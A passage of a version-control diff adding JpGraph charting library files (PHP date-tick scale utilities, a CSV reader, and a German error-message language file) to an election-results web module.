+			    self::$minTickPositions[$j++] = mktime(0,0,0,$m,1,$y);
+			}
+			    // Major at every third month 
+			// Get timestamp of first hour of first day in each month
+			if( $monthcount % 3 == 0 ) {
+			    self::$tickPositions[$i++] = mktime(0,0,0,$m,1,$y);
+			}
+			break;
+		    case DSUTILS_MONTH6: 
+			if( $aMinor ) {
+			    // Set minor tick at start of each month
+			    self::$minTickPositions[$j++] = mktime(0,0,0,$m,1,$y);
+			}
+			// Major at every third month 
+			// Get timestamp of first hour of first day in each month
+			if( $monthcount % 6 == 0 ) {
+			    self::$tickPositions[$i++] = mktime(0,0,0,$m,1,$y);
+			}
+			break;
+		}
+		++$m;
+		++$monthcount;
+	    }
+	    $m=1;
+	}
+
+	// For the case where all dates are within the same month
+	// we want to make sure we have at least two ticks on the scale
+	// since the scale want work properly otherwise
+	if(self::$startmonth == self::$endmonth && self::$startyear == self::$endyear && $aType==1 ) {
+	    self::$tickPositions[$i++] = mktime(0 ,0 ,0, self::$startmonth + 1, 1, self::$startyear);
+	} 
+
+	return array(self::$tickPositions,self::$minTickPositions);
+    }
+
+    static function GetTicks($aData,$aType=1,$aMinor=false,$aEndPoints=false) {
+	$n = count($aData);
+	return self::GetTicksFromMinMax($aData[0],$aData[$n-1],$aType,$aMinor,$aEndPoints);
+    }
+
+    static function GetAutoTicks($aMin,$aMax,$aMaxTicks=10,$aMinor=false) {
+	$diff = $aMax - $aMin;
+	$spd = 3600*24;
+	$spw = $spd*7;
+	$spm = $spd*30;
+	$spy = $spd*352;
+
+	if( self::$iUseWeeks )
+	    $w = 'W';
+	else
+	    $w = 'd M';
+
+	// Decision table for suitable scales
+	// First value: Main decision point
+	// Second value: Array of formatting depending on divisor for wanted max number of ticks. <divisor><formatting><format-string>,..
+	$tt = array( 
+	    array($spw, array(1,DSUTILS_DAY1,'d M',2,DSUTILS_DAY2,'d M',-1,DSUTILS_DAY4,'d M')),
+	    array($spm, array(1,DSUTILS_DAY1,'d M',2,DSUTILS_DAY2,'d M',4,DSUTILS_DAY4,'d M',
+			      7,DSUTILS_WEEK1,$w,-1,DSUTILS_WEEK2,$w)),
+	    array($spy, array(1,DSUTILS_DAY1,'d M',2,DSUTILS_DAY2,'d M',4,DSUTILS_DAY4,'d M',
+			      7,DSUTILS_WEEK1,$w,14,DSUTILS_WEEK2,$w,
+			      30,DSUTILS_MONTH1,'M',60,DSUTILS_MONTH2,'M',-1,DSUTILS_MONTH3,'M')),
+	    array(-1, array(30,DSUTILS_MONTH1,'M-Y',60,DSUTILS_MONTH2,'M-Y',90,DSUTILS_MONTH3,'M-Y',
+			    180,DSUTILS_MONTH6,'M-Y',352,DSUTILS_YEAR1,'Y',704,DSUTILS_YEAR2,'Y',-1,DSUTILS_YEAR5,'Y')));
+
+	$ntt = count($tt);
+	$nd = floor($diff/$spd);
+	for($i=0; $i < $ntt; ++$i ) {
+	    if( $diff <= $tt[$i][0] || $i==$ntt-1) {
+		$t = $tt[$i][1];
+		$n = count($t)/3;
+		for( $j=0; $j < $n; ++$j ) {
+		    if( $nd/$t[3*$j] <= $aMaxTicks || $j==$n-1) {
+			$type = $t[3*$j+1];
+			$fs = $t[3*$j+2];
+			list($tickPositions,$minTickPositions) = self::GetTicksFromMinMax($aMin,$aMax,$type,$aMinor);
+			return array($fs,$tickPositions,$minTickPositions,$type);
+		    }
+		}
+	    }
+	}
+    }
+
+    static function GetTicksFromMinMax($aMin,$aMax,$aType,$aMinor=false,$aEndPoints=false) {
+	self::$starthour = date('G',$aMin);
+	self::$startmonth = date('n',$aMin);
+	self::$startday = date('j',$aMin);
+	self::$startyear = date('Y',$aMin);
+	self::$endmonth = date('n',$aMax);
+	self::$endyear = date('Y',$aMax);
+	self::$endday = date('j',$aMax);
+	self::$iMin = $aMin;
+	self::$iMax = $aMax;
+
+	if( $aType <= DSUTILS_MONTH6 ) {
+	    self::doMonthly($aType,$aMinor);
+	}
+	elseif( $aType <= DSUTILS_WEEK4 ) {
+	    self::doWeekly($aType,$aMinor);
+	}
+	elseif( $aType <= DSUTILS_DAY4 ) {
+	    self::doDaily($aType,$aMinor);
+	}
+	elseif( $aType <= DSUTILS_YEAR5 ) {
+	    self::doYearly($aType,$aMinor);
+	}
+	else {
+	    JpGraphError::RaiseL(24003);
+	}
+	// put a label at the very left data pos
+	if( $aEndPoints ) {
+	    $tickPositions[$i++] = $aData[0];
+	}
+
+	// put a label at the very right data pos
+	if( $aEndPoints ) {
+	    $tickPositions[$i] = $aData[$n-1];
+	}
+
+	return array(self::$tickPositions,self::$minTickPositions);
+    }
+
+}
+
+//=============================================================================
+// Class ReadFileData
+//=============================================================================
+Class ReadFileData {
+
+    //----------------------------------------------------------------------------
+    // Desciption:
+    // Read numeric data from a file. 
+    // Each value should be separated by either a new line or by a specified 
+    // separator character (default is ',').
+    // Before returning the data each value is converted to a proper float 
+    // value. The routine is robust in the sense that non numeric data in the 
+    // file will be discarded.
+    //
+    // Returns: 
+    // The number of data values read on success, FALSE on failure
+    //----------------------------------------------------------------------------
+    static function FromCSV($aFile,&$aData,$aSepChar=',',$aMaxLineLength=1024) {
+	$rh = fopen($aFile,'r');
+	if( $rh === false )
+	    return false;
+	$tmp = array();
+	$lineofdata = fgetcsv($rh, 1000, ',');
+	while ( $lineofdata !== FALSE) {
+	    $tmp = array_merge($tmp,$lineofdata);
+	    $lineofdata = fgetcsv($rh, $aMaxLineLength, $aSepChar);
+	}
+	fclose($rh);
+
+	// Now make sure that all data is numeric. By default
+	// all data is read as strings
+	$n = count($tmp);
+	$aData = array();
+	$cnt=0;
+	for($i=0; $i < $n; ++$i) {
+	    if( $tmp[$i] !== "" ) {
+		$aData[$cnt++] = floatval($tmp[$i]);
+	    }
+	}
+	return $cnt;
+    }
+}
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/lang/de.inc.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/lang/de.inc.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/lang/de.inc.php	(revision 44)
@@ -0,0 +1,501 @@
+<?php
+/*=======================================================================
+// File: 	DE.INC.PHP
+// Description: German language file for error messages
+// Created: 	2006-03-06
+// Author:	Timo Leopold (timo@leopold-hh.de)
+// Ver:		$Id: de.inc.php 1017 2008-07-08 06:09:28Z ljp $
+//
+// Copyright (c)
+//========================================================================
+*/
+
+// Notiz: Das Format fuer jede Fehlermeldung ist array(<Fehlermeldung>,<Anzahl der Argumente>)
+$_jpg_messages = array(
+
+/*
+** Headers wurden bereits gesendet - Fehler. Dies wird als HTML formatiert, weil es direkt als text zurueckgesendet wird
+*/
+10  => array('<table border="1"><tr><td style="color:darkred;font-size:1.2em;"><b>JpGraph Fehler:</b>
+HTTP header wurden bereits gesendet.<br>Fehler in der Datei <b>%s</b> in der Zeile <b>%d</b>.</td></tr><tr><td><b>Erklärung:</b><br>HTTP header wurden bereits zum Browser gesendet, wobei die Daten als Text gekennzeichnet wurden, bevor die Bibliothek die Chance hatte, seinen Bild-HTTP-Header zum Browser zu schicken. Dies verhindert, dass die Bibliothek Bilddaten zum Browser schicken kann (weil sie vom Browser als Text interpretiert würden und daher nur Mist dargestellt würde).<p>Wahrscheinlich steht Text im Skript bevor <i>Graph::Stroke()</i> aufgerufen wird. Wenn dieser Text zum Browser gesendet wird, nimmt dieser an, dass die gesamten Daten aus Text bestehen. Such nach irgendwelchem Text, auch nach Leerzeichen und Zeilenumbrüchen, die eventuell bereits zum Browser gesendet wurden. <p>Zum Beispiel ist ein oft auftretender Fehler, eine Leerzeile am Anfang der Datei oder vor <i>Graph::Stroke()</i> zu lassen."<b>&lt;?php</b>".</td></tr></table>',2),
+
+/*
+** Setup Fehler
+*/
+11 => array('Es wurde kein Pfad für CACHE_DIR angegeben. Bitte gib einen Pfad CACHE_DIR in der Datei jpg-config.inc an.',0),
+12 => array('Es wurde kein Pfad für TTF_DIR angegeben und der Pfad kann nicht automatisch ermittelt werden. Bitte gib den Pfad in der Datei jpg-config.inc an.',0),
+13 => array('The installed PHP version (%s) is not compatible with this release of the library. The library requires at least PHP version %s',2),
+
+/*
+**  jpgraph_bar
+*/
+
+2001 => array('Die Anzahl der Farben ist nicht gleich der Anzahl der Vorlagen in BarPlot::SetPattern().',0),
+2002 => array('Unbekannte Vorlage im Aufruf von BarPlot::SetPattern().',0),
+2003 => array('Anzahl der X- und Y-Koordinaten sind nicht identisch. Anzahl der X-Koordinaten: %d; Anzahl der Y-Koordinaten: %d.',2),
+2004 => array('Alle Werte für ein Balkendiagramm (barplot) müssen numerisch sein. Du hast den Wert nr [%d] == %s angegeben.',2),
+2005 => array('Du hast einen leeren Vektor für die Schattierungsfarben im Balkendiagramm (barplot) angegeben.',0),
+2006 => array('Unbekannte Position für die Werte der Balken: %s.',1),
+2007 => array('Kann GroupBarPlot nicht aus einem leeren Vektor erzeugen.',0),
+2008 => array('GroupBarPlot Element nbr %d wurde nicht definiert oder ist leer.',0),
+2009 => array('Eins der Objekte, das an GroupBar weitergegeben wurde ist kein Balkendiagramm (BarPlot). Versichere Dich, dass Du den GroupBarPlot aus einem Vektor von Balkendiagrammen (barplot) oder AccBarPlot-Objekten erzeugst. (Class = %s)',1),
+2010 => array('Kann AccBarPlot nicht aus einem leeren Vektor erzeugen.',0),
+2011 => array('AccBarPlot-Element nbr %d wurde nicht definiert oder ist leer.',1),
+2012 => array('Eins der Objekte, das an AccBar weitergegeben wurde ist kein Balkendiagramm (barplot). Versichere Dich, dass Du den AccBar-Plot aus einem Vektor von Balkendiagrammen (barplot) erzeugst. (Class=%s)',1),
+2013 => array('Du hast einen leeren Vektor für die Schattierungsfarben im Balkendiagramm (barplot) angegeben.',0),
+2014 => array('Die Anzahl der Datenpunkte jeder Datenreihe in AccBarPlot muss gleich sein.',0),
+2015 => array('Individual bar plots in an AccBarPlot or GroupBarPlot can not have specified X-coordinates',0),
+
+
+/*
+**  jpgraph_date
+*/
+
+3001 => array('Es ist nur möglich, entweder SetDateAlign() oder SetTimeAlign() zu benutzen, nicht beides!',0),
+
+/*
+**  jpgraph_error
+*/
+
+4002 => array('Fehler bei den Eingabedaten von LineErrorPlot. Die Anzahl der Datenpunkte mus ein Mehrfaches von drei sein!',0),
+
+/*
+**  jpgraph_flags
+*/
+
+5001 => array('Unbekannte Flaggen-Größe (%d).',1),
+5002 => array('Der Flaggen-Index %s existiert nicht.',1),
+5003 => array('Es wurde eine ungültige Ordnungszahl (%d) für den Flaggen-Index angegeben.',1),
+5004 => array('Der Landesname %s hat kein korrespondierendes Flaggenbild. Die Flagge mag existieren, abr eventuell unter einem anderen Namen, z.B. versuche "united states" statt "usa".',1),
+
+
+/*
+**  jpgraph_gantt
+*/
+
+6001 => array('Interner Fehler. Die Höhe für ActivityTitles ist < 0.',0),
+6002 => array('Es dürfen keine negativen Werte für die Gantt-Diagramm-Dimensionen angegeben werden. Verwende 0, wenn die Dimensionen automatisch ermittelt werden sollen.',0),
+6003 => array('Ungültiges Format für den Bedingungs-Parameter bei Index=%d in CreateSimple(). Der Parameter muss bei index 0 starten und Vektoren in der Form (Row,Constrain-To,Constrain-Type) enthalten.',1),
+6004 => array('Ungültiges Format für den Fortschritts-Parameter bei Index=%d in CreateSimple(). Der Parameter muss bei Index 0 starten und Vektoren in der Form (Row,Progress) enthalten.',1),
+6005 => array('SetScale() ist nicht sinnvoll bei Gantt-Diagrammen.',0),
+6006 => array('Das Gantt-Diagramm kann nicht automatisch skaliert werden. Es existieren keine Aktivitäten mit Termin. [GetBarMinMax() start >= n]',0),
+6007 => array('Plausibiltätsprüfung für die automatische Gantt-Diagramm-Größe schlug fehl. Entweder die Breite (=%d) oder die Höhe (=%d) ist größer als MAX_GANTTIMG_SIZE. Dies kann möglicherweise durch einen falschen Wert bei einer Aktivität hervorgerufen worden sein.',2),
+6008 => array('Du hast eine Bedingung angegeben von Reihe=%d bis Reihe=%d, die keine Aktivität hat.',2),
+6009 => array('Unbekannter Bedingungstyp von Reihe=%d bis Reihe=%d',2),
+6010 => array('Ungültiger Icon-Index für das eingebaute Gantt-Icon [%d]',1),
+6011 => array('Argument für IconImage muss entweder ein String oder ein Integer sein.',0),
+6012 => array('Unbekannter Typ bei der Gantt-Objekt-Title-Definition.',0),
+6015 => array('Ungültige vertikale Position %d',1),
+6016 => array('Der eingegebene Datums-String (%s) für eine Gantt-Aktivität kann nicht interpretiert werden. Versichere Dich, dass es ein gültiger Datumsstring ist, z.B. 2005-04-23 13:30',1),
+6017 => array('Unbekannter Datumstyp in GanttScale (%s).',1),
+6018 => array('Intervall für Minuten muss ein gerader Teiler einer Stunde sein, z.B. 1,5,10,12,15,20,30, etc. Du hast ein Intervall von %d Minuten angegeben.',1),
+6019 => array('Die vorhandene Breite (%d) für die Minuten ist zu klein, um angezeigt zu werden. Bitte benutze die automatische Größenermittlung oder vergrößere die Breite des Diagramms.',1),
+6020 => array('Das Intervall für die Stunden muss ein gerader Teiler eines Tages sein, z.B. 0:30, 1:00, 1:30, 4:00, etc. Du hast ein Intervall von %d eingegeben.',1),
+6021 => array('Unbekanntes Format für die Woche.',0),
+6022 => array('Die Gantt-Skala wurde nicht eingegeben.',0),
+6023 => array('Wenn Du sowohl Stunden als auch Minuten anzeigen lassen willst, muss das Stunden-Interval gleich 1 sein (anderenfalls ist es nicht sinnvoll, Minuten anzeigen zu lassen).',0),
+6024 => array('Das CSIM-Ziel muss als String angegeben werden. Der Start des Ziels ist: %d',1),
+6025 => array('Der CSIM-Alt-Text muss als String angegeben werden. Der Beginn des Alt-Textes ist: %d',1),
+6027 => array('Der Fortschrittswert muss im Bereich [0, 1] liegen.',0),
+6028 => array('Die eingegebene Höhe (%d) für GanttBar ist nicht im zulässigen Bereich.',1),
+6029 => array('Der Offset für die vertikale Linie muss im Bereich [0,1] sein.',0),
+6030 => array('Unbekannte Pfeilrichtung für eine Verbindung.',0),
+6031 => array('Unbekannter Pfeiltyp für eine Verbindung.',0),
+6032 => array('Interner Fehler: Unbekannter Pfadtyp (=%d) für eine Verbindung.',1),
+
+/*
+**  jpgraph_gradient
+*/
+
+7001 => array('Unbekannter Gradiententyp (=%d).',1),
+
+/*
+**  jpgraph_iconplot
+*/
+
+8001 => array('Der Mix-Wert für das Icon muss zwischen 0 und 100 sein.',0),
+8002 => array('Die Ankerposition für Icons muss entweder "top", "bottom", "left", "right" oder "center" sein.',0),
+8003 => array('Es ist nicht möglich, gleichzeitig ein Bild und eine Landesflagge für dasselbe Icon zu definieren',0),
+8004 => array('Wenn Du Landesflaggen benutzen willst, musst Du die Datei "jpgraph_flags.php" hinzufügen (per include).',0),
+
+/*
+**  jpgraph_imgtrans
+*/
+
+9001 => array('Der Wert für die Bildtransformation ist außerhalb des zulässigen Bereichs. Der verschwindende Punkt am Horizont muss als Wert zwischen 0 und 1 angegeben werden.',0),
+
+/*
+**  jpgraph_lineplot
+*/
+
+10001 => array('Die Methode LinePlot::SetFilled() sollte nicht mehr benutzt werden. Benutze lieber SetFillColor()',0),
+10002 => array('Der Plot ist zu kompliziert für FastLineStroke. Benutze lieber den StandardStroke()',0),
+10003 => array('Each plot in an accumulated lineplot must have the same number of data points.',0),
+/*
+**  jpgraph_log
+*/
+
+11001 => array('Deine Daten enthalten nicht-numerische Werte.',0),
+11002 => array('Negative Werte können nicht für logarithmische Achsen verwendet werden.',0),
+11003 => array('Deine Daten enthalten nicht-numerische Werte.',0),
+11004 => array('Skalierungsfehler für die logarithmische Achse. Es gibt ein Problem mit den Daten der Achse. Der größte Wert muss größer sein als Null. Es ist mathematisch nicht möglich, einen Wert gleich Null in der Skala zu haben.',0),
+11005 => array('Das Tick-Intervall für die logarithmische Achse ist nicht definiert. Lösche jeden Aufruf von SetTextLabelStart() oder SetTextTickInterval() bei der logarithmischen Achse.',0),
+
+/*
+**  jpgraph_mgraph
+*/
+
+12001 => array("Du benutzt GD 2.x und versuchst ein Nicht-Truecolor-Bild als Hintergrundbild zu benutzen. Um Hintergrundbilder mit GD 2.x zu benutzen, ist es notwendig Truecolor zu aktivieren, indem die USE_TRUECOLOR-Konstante auf TRUE gesetzt wird. Wegen eines Bugs in GD 2.0.1 ist die Qualität der Truetype-Schriften sehr schlecht, wenn man Truetype-Schriften mit Truecolor-Bildern verwendet.",0),
+12002 => array('Ungültiger Dateiname für MGraph::SetBackgroundImage() : %s. Die Datei muss eine gültige Dateierweiterung haben (jpg,gif,png), wenn die automatische Typerkennung verwendet wird.',1),
+12003 => array('Unbekannte Dateierweiterung (%s) in MGraph::SetBackgroundImage() für Dateiname: %s',2),
+12004 => array('Das Bildformat des Hintergrundbildes (%s) wird von Deiner System-Konfiguration nicht unterstützt. ',1),
+12005 => array('Das Hintergrundbild kann nicht gelesen werden: %s',1),
+12006 => array('Es wurden ungültige Größen für Breite oder Höhe beim Erstellen des Bildes angegeben, (Breite=%d, Höhe=%d)',2),
+12007 => array('Das Argument für MGraph::Add() ist nicht gültig für GD.',0),
+12008 => array('Deine PHP- (und GD-lib-) Installation scheint keine bekannten Bildformate zu unterstützen.',0),
+12009 => array('Deine PHP-Installation unterstützt das gewählte Bildformat nicht: %s',1),
+12010 => array('Es konnte kein Bild als Datei %s erzeugt werden. Überprüfe, ob Du die entsprechenden Schreibrechte im aktuellen Verzeichnis hast.',1),
+12011 => array('Es konnte kein Truecolor-Bild erzeugt werden. Überprüfe, ob Du wirklich die GD2-Bibliothek installiert hast.',0),
+12012 => array('Es konnte kein Bild erzeugt werden. Überprüfe, ob Du wirklich die GD2-Bibliothek installiert hast.',0),
+
+/*
+**  jpgraph_pie3d
+*/
+
+14001 => array('Pie3D::ShowBorder(). Missbilligte Funktion. Benutze Pie3D::SetEdge(), um die Ecken der Tortenstücke zu kontrollieren.',0),
+14002 => array('PiePlot3D::SetAngle() 3D-Torten-Projektionswinkel muss zwischen 5 und 85 Grad sein.',0),
+14003 => array('Interne Festlegung schlug fehl. Pie3D::Pie3DSlice',0),
+14004 => array('Tortenstück-Startwinkel muss zwischen 0 und 360 Grad sein.',0),
+14005 => array('Pie3D Interner Fehler: Versuch, zweimal zu umhüllen bei der Suche nach dem Startindex.',0,),
+14006 => array('Pie3D Interner Fehler: Z-Sortier-Algorithmus für 3D-Tortendiagramme funktioniert nicht einwandfrei (2). Versuch, zweimal zu umhüllen beim Erstellen des Bildes.',0),
+14007 => array('Die Breite für das 3D-Tortendiagramm ist 0. Gib eine Breite > 0 an.',0),
+
+/*
+**  jpgraph_pie
+*/
+
+15001 => array('PiePLot::SetTheme() Unbekannter Stil: %s',1),
+15002 => array('Argument für PiePlot::ExplodeSlice() muss ein Integer-Wert sein',0),
+15003 => array('Argument für PiePlot::Explode() muss ein Vektor mit Integer-Werten sein.',0),
+15004 => array('Tortenstück-Startwinkel muss zwischen 0 und 360 Grad sein.',0),
+15005 => array('PiePlot::SetFont() sollte nicht mehr verwendet werden. Benutze stattdessen PiePlot->value->SetFont().',0),
+15006 => array('PiePlot::SetSize() Radius für Tortendiagramm muss entweder als Bruch [0, 0.5] der Bildgröße oder als Absoluwert in Pixel im Bereich [10, 1000] angegeben werden.',0),
+15007 => array('PiePlot::SetFontColor() sollte nicht mehr verwendet werden. Benutze stattdessen PiePlot->value->SetColor()..',0),
+15008 => array('PiePlot::SetLabelType() der Typ für Tortendiagramme muss entweder 0 or 1 sein (nicht %d).',1),
+15009 => array('Ungültiges Tortendiagramm. Die Summe aller Daten ist Null.',0),
+15010 => array('Die Summe aller Daten ist Null.',0),
+15011 => array('Um Bildtransformationen benutzen zu können, muss die Datei jpgraph_imgtrans.php eingefügt werden (per include).',0),
+
+/*
+**  jpgraph_plotband
+*/
+
+16001 => array('Die Dichte für das Pattern muss zwischen 1 und 100 sein. (Du hast %f eingegeben)',1),
+16002 => array('Es wurde keine Position für das Pattern angegeben.',0),
+16003 => array('Unbekannte Pattern-Definition (%d)',0),
+16004 => array('Der Mindeswert für das PlotBand ist größer als der Maximalwert. Bitte korrigiere dies!',0),
+
+
+/*
+**  jpgraph_polar
+*/
+
+17001 => array('PolarPlots müssen eine gerade Anzahl von Datenpunkten haben. Jeder Datenpunkt ist ein Tupel (Winkel, Radius).',0),
+17002 => array('Unbekannte Ausrichtung für X-Achsen-Titel. (%s)',1),
+//17003 => array('Set90AndMargin() wird für PolarGraph nicht unterstützt.',0),
+17004 => array('Unbekannter Achsentyp für PolarGraph. Er muss entweder \'lin\' oder \'log\' sein.',0),
+
+/*
+**  jpgraph_radar
+*/
+
+18001 => array('ClientSideImageMaps werden für RadarPlots nicht unterstützt.',0),
+18002 => array('RadarGraph::SupressTickMarks() sollte nicht mehr verwendet werden. Benutze stattdessen HideTickMarks().',0),
+18003 => array('Ungültiger Achsentyp für RadarPlot (%s). Er muss entweder \'lin\' oder \'log\' sein.',1),
+18004 => array('Die RadarPlot-Größe muss zwischen 0.1 und 1 sein. (Dein Wert=%f)',1),
+18005 => array('RadarPlot: nicht unterstützte Tick-Dichte: %d',1),
+18006 => array('Minimum Daten %f (RadarPlots sollten nur verwendet werden, wenn alle Datenpunkte einen Wert > 0 haben).',1),
+18007 => array('Die Anzahl der Titel entspricht nicht der Anzahl der Datenpunkte.',0),
+18008 => array('Jeder RadarPlot muss die gleiche Anzahl von Datenpunkten haben.',0),
+
+/*
+**  jpgraph_regstat
+*/
+
+19001 => array('Spline: Anzahl der X- und Y-Koordinaten muss gleich sein.',0),
+19002 => array('Ungültige Dateneingabe für Spline. Zwei oder mehr aufeinanderfolgende X-Werte sind identisch. Jeder eigegebene X-Wert muss unterschiedlich sein, weil vom mathematischen Standpunkt ein Eins-zu-Eins-Mapping vorliegen muss, d.h. jeder X-Wert korrespondiert mit exakt einem Y-Wert.',0),
+19003 => array('Bezier: Anzahl der X- und Y-Koordinaten muss gleich sein.',0),
+
+/*
+**  jpgraph_scatter
+*/
+
+20001 => array('Fieldplots müssen die gleiche Anzahl von X und Y Datenpunkten haben.',0),
+20002 => array('Bei Fieldplots muss ein Winkel für jeden X und Y Datenpunkt angegeben werden.',0),
+20003 => array('Scatterplots müssen die gleiche Anzahl von X- und Y-Datenpunkten haben.',0),
+
+/*
+**  jpgraph_stock
+*/
+
+21001 => array('Die Anzahl der Datenwerte für Stock-Charts müssen ein Mehrfaches von %d Datenpunkten sein.',1),
+
+/*
+**  jpgraph_plotmark
+*/
+
+23001 => array('Der Marker "%s" existiert nicht in der Farbe: %d',2),
+23002 => array('Der Farb-Index ist zu hoch für den Marker "%s"',1),
+23003 => array('Ein Dateiname muss angegeben werden, wenn Du den Marker-Typ auf MARK_IMG setzt.',0),
+
+/*
+**  jpgraph_utils
+*/
+
+24001 => array('FuncGenerator : Keine Funktion definiert. ',0),
+24002 => array('FuncGenerator : Syntax-Fehler in der Funktionsdefinition ',0),
+24003 => array('DateScaleUtils: Unknown tick type specified in call to GetTicks()',0),
+
+/*
+**  jpgraph
+*/
+
+25001 => array('Diese PHP-Installation ist nicht mit der GD-Bibliothek kompiliert. Bitte kompiliere PHP mit GD-Unterstützung neu, damit JpGraph funktioniert. (Weder die Funktion imagetypes() noch imagecreatefromstring() existiert!)',0),
+25002 => array('Diese PHP-Installation scheint nicht die benötigte GD-Bibliothek zu unterstützen. Bitte schau in der PHP-Dokumentation nach, wie man die GD-Bibliothek installiert und aktiviert.',0),
+25003 => array('Genereller PHP Fehler : Bei %s:%d : %s',3),
+25004 => array('Genereller PHP Fehler : %s ',1),
+25005 => array('PHP_SELF, die PHP-Global-Variable kann nicht ermittelt werden. PHP kann nicht von der Kommandozeile gestartet werden, wenn der Cache oder die Bilddateien automatisch benannt werden sollen.',0),
+25006 => array('Die Benutzung der FF_CHINESE (FF_BIG5) Schriftfamilie benötigt die iconv() Funktion in Deiner PHP-Konfiguration. Dies wird nicht defaultmäßig in PHP kompiliert (benötigt "--width-iconv" bei der Konfiguration).',0),
+25007 => array('Du versuchst das lokale (%s) zu verwenden, was von Deiner PHP-Installation nicht unterstützt wird. Hinweis: Benutze \'\', um das defaultmäßige Lokale für diese geographische Region festzulegen.',1),
+25008 => array('Die Bild-Breite und Höhe in Graph::Graph() müssen numerisch sein',0),
+25009 => array('Die Skalierung der Achsen muss angegeben werden mit Graph::SetScale()',0),
+
+25010 => array('Graph::Add() Du hast versucht, einen leeren Plot zum Graph hinzuzufügen.',0),
+25011 => array('Graph::AddY2() Du hast versucht, einen leeren Plot zum Graph hinzuzufügen.',0),
+25012 => array('Graph::AddYN() Du hast versucht, einen leeren Plot zum Graph hinzuzufügen.',0),
+25013 => array('Es können nur Standard-Plots zu multiplen Y-Achsen hinzugefügt werden',0),
+25014 => array('Graph::AddText() Du hast versucht, einen leeren Text zum Graph hinzuzufügen.',0),
+25015 => array('Graph::AddLine() Du hast versucht, eine leere Linie zum Graph hinzuzufügen.',0),
+25016 => array('Graph::AddBand() Du hast versucht, ein leeres Band zum Graph hinzuzufügen.',0),
+25017 => array('Du benutzt GD 2.x und versuchst, ein Hintergrundbild in einem Truecolor-Bild zu verwenden. Um Hintergrundbilder mit GD 2.x zu verwenden, ist es notwendig, Truecolor zu aktivieren, indem die USE_TRUECOLOR-Konstante auf TRUE gesetzt wird. Wegen eines Bugs in GD 2.0.1 ist die Qualität der Schrift sehr schlecht, wenn Truetype-Schrift in Truecolor-Bildern verwendet werden.',0),
+25018 => array('Falscher Dateiname für Graph::SetBackgroundImage() : "%s" muss eine gültige Dateinamenerweiterung (jpg,gif,png) haben, wenn die automatische Dateityperkennung verwenndet werden soll.',1),
+25019 => array('Unbekannte Dateinamenerweiterung (%s) in Graph::SetBackgroundImage() für Dateiname: "%s"',2),
+
+25020 => array('Graph::SetScale(): Dar Maximalwert muss größer sein als der Mindestwert.',0),
+25021 => array('Unbekannte Achsendefinition für die Y-Achse. (%s)',1),
+25022 => array('Unbekannte Achsendefinition für die X-Achse. (%s)',1),
+25023 => array('Nicht unterstützter Y2-Achsentyp: "%s" muss einer von (lin,log,int) sein.',1),
+25024 => array('Nicht unterstützter X-Achsentyp: "%s" muss einer von (lin,log,int) sein.',1),
+25025 => array('Nicht unterstützte Tick-Dichte: %d',1),
+25026 => array('Nicht unterstützter Typ der nicht angegebenen Y-Achse. Du hast entweder: 1. einen Y-Achsentyp für automatisches Skalieren definiert, aber keine Plots angegeben. 2. eine Achse direkt definiert, aber vergessen, die Tick-Dichte zu festzulegen.',0),
+25027 => array('Kann cached CSIM "%s" zum Lesen nicht öffnen.',1),
+25028 => array('Apache/PHP hat keine Schreibrechte, in das CSIM-Cache-Verzeichnis (%s) zu schreiben. Überprüfe die Rechte.',1),
+25029 => array('Kann nicht in das CSIM "%s" schreiben. Überprüfe die Schreibrechte und den freien Speicherplatz.',1),
+
+25030 => array('Fehlender Skriptname für StrokeCSIM(). Der Name des aktuellen Skriptes muss als erster Parameter von StrokeCSIM() angegeben werden.',0),
+25031 => array('Der Achsentyp muss mittels Graph::SetScale() angegeben werden.',0),
+25032 => array('Es existieren keine Plots für die Y-Achse nbr:%d',1),
+25033 => array('',0),
+25034 => array('Undefinierte X-Achse kann nicht gezeichnet werden. Es wurden keine Plots definiert.',0),
+25035 => array('Du hast Clipping aktiviert. Clipping wird nur für Diagramme mit 0 oder 90 Grad Rotation unterstützt. Bitte verändere Deinen Rotationswinkel (=%d Grad) dementsprechend oder deaktiviere Clipping.',1),
+25036 => array('Unbekannter Achsentyp AxisStyle() : %s',1),
+25037 => array('Das Bildformat Deines Hintergrundbildes (%s) wird von Deiner System-Konfiguration nicht unterstützt. ',1),
+25038 => array('Das Hintergrundbild scheint von einem anderen Typ (unterschiedliche Dateierweiterung) zu sein als der angegebene Typ. Angegebenen: %s; Datei: %s',2),
+25039 => array('Hintergrundbild kann nicht gelesen werden: "%s"',1),
+
+25040 => array('Es ist nicht möglich, sowohl ein Hintergrundbild als auch eine Hintergrund-Landesflagge anzugeben.',0),
+25041 => array('Um Landesflaggen als Hintergrund benutzen zu können, muss die Datei "jpgraph_flags.php" eingefügt werden (per include).',0),
+25042 => array('Unbekanntes Hintergrundbild-Layout',0),
+25043 => array('Unbekannter Titelhintergrund-Stil.',0),
+25044 => array('Automatisches Skalieren kann nicht verwendet werden, weil es unmöglich ist, einen gültigen min/max Wert für die Y-Achse zu ermitteln (nur Null-Werte).',0),
+25045 => array('Die Schriftfamilien FF_HANDWRT und FF_BOOK sind wegen Copyright-Problemen nicht mehr verfügbar. Diese Schriften können nicht mehr mit JpGraph verteilt werden. Bitte lade Dir Schriften von http://corefonts.sourceforge.net/ herunter.',0),
+25046 => array('Angegebene TTF-Schriftfamilie (id=%d) ist unbekannt oder existiert nicht. Bitte merke Dir, dass TTF-Schriften wegen Copyright-Problemen nicht mit JpGraph mitgeliefert werden. Du findest MS-TTF-Internetschriften (arial, courier, etc.) zum Herunterladen unter http://corefonts.sourceforge.net/',1),
+25047 => array('Stil %s ist nicht verfügbar für Schriftfamilie %s',2),
+25048 => array('Unbekannte Schriftstildefinition [%s].',1),
+25049 => array('Schriftdatei "%s" ist nicht lesbar oder existiert nicht.',1),
+
+25050 => array('Erstes Argument für Text::Text() muss ein String sein.',0),
+25051 => array('Ungültige Richtung angegeben für Text.',0),
+25052 => array('PANIK: Interner Fehler in SuperScript::Stroke(). Unbekannte vertikale Ausrichtung für Text.',0),
+25053 => array('PANIK: Interner Fehler in SuperScript::Stroke(). Unbekannte horizontale Ausrichtung für Text.',0),
+25054 => array('Interner Fehler: Unbekannte Grid-Achse %s',1),
+25055 => array('Axis::SetTickDirection() sollte nicht mehr verwendet werden. Benutze stattdessen Axis::SetTickSide().',0),
+25056 => array('SetTickLabelMargin() sollte nicht mehr verwendet werden. Benutze stattdessen Axis::SetLabelMargin().',0),
